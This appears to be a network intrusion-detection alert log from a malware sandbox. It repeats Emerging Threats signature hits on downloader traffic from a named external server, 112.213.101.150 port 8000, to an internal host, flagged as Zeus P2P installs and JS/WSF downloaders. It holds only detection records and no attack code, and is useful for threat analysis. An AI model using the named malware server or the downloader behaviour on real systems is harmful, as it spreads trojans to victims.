TCP 112.213.101.150:8000 -> 192.168.56.101:49325 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49565 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49325 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49565 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49325 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49742 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49325 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49742 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49742 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49742 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49742 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49742 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49742 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49427 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49427 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49427 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49427 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49427 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49665 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49427 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49665 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49427 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49665 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49665 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49665 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49665 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49665 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49502 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49502 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49502 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49690 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49502 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49690 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49502 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49690 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49502 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49690 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49502 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49767 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49690 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49767 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49690 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49690 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49767 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49767 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49767 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49817 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49767 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49817 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49767 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49817 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49817 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49817 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49559 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49817 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49817 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49559 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49443 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49559 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49443 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49712 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49443 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49559 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49712 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49559 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49443 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49712 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49559 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49712 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49443 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49559 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49712 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49443 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49712 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49443 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49712 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49583 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49583 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49583 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49583 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49583 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49411 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49583 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49411 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49583 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49411 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49411 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49411 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49411 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49411 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49374 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49651 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49374 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49374 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49651 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49374 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49651 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49374 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49651 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49374 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49651 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49374 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49651 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49651 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49804 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49804 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49804 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49804 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49804 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49804 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49804 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49378 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49378 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49378 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49378 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49378 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49378 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49378 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49680 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49532 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49532 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49436 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49532 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49436 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49532 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49436 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49532 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49436 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49532 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49436 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49436 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49532 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49436 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49680 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49680 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49680 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49680 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49680 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49680 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49535 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49535 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49535 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49535 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49535 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49573 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49535 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49573 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49535 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49573 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49573 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49573 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49828 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49573 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49307 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49828 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49573 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49307 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49828 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49307 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49828 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49307 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49828 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49307 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49828 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49449 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49307 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49828 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49449 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49307 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49449 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49449 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49449 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49449 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49449 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49580 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49580 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49580 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49580 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49580 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49580 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49580 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49616 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49616 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49616 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49370 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49370 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49370 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49471 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49370 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49471 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49471 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49370 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49471 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49370 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49586 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49471 2023679 ET MALWARE JS/WSF Downloader Dec 08 2016 M6 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49370 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49586 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49717 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 112.213.101.150:8000 -> 192.168.56.101:49471 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 112.213.101.150:8000 -> 192.168.56.101:49586 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49717 2019103 ET MALWARE OneLouder EXE download possibly installing Zeus P2P A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49471 2014520 ET INFO EXE - Served Attached HTTP Misc activity
TCP 112.213.101.150:8000 -> 192.168.56.101:49586 2022053 ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49717 2022051 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 A Network Trojan was detected
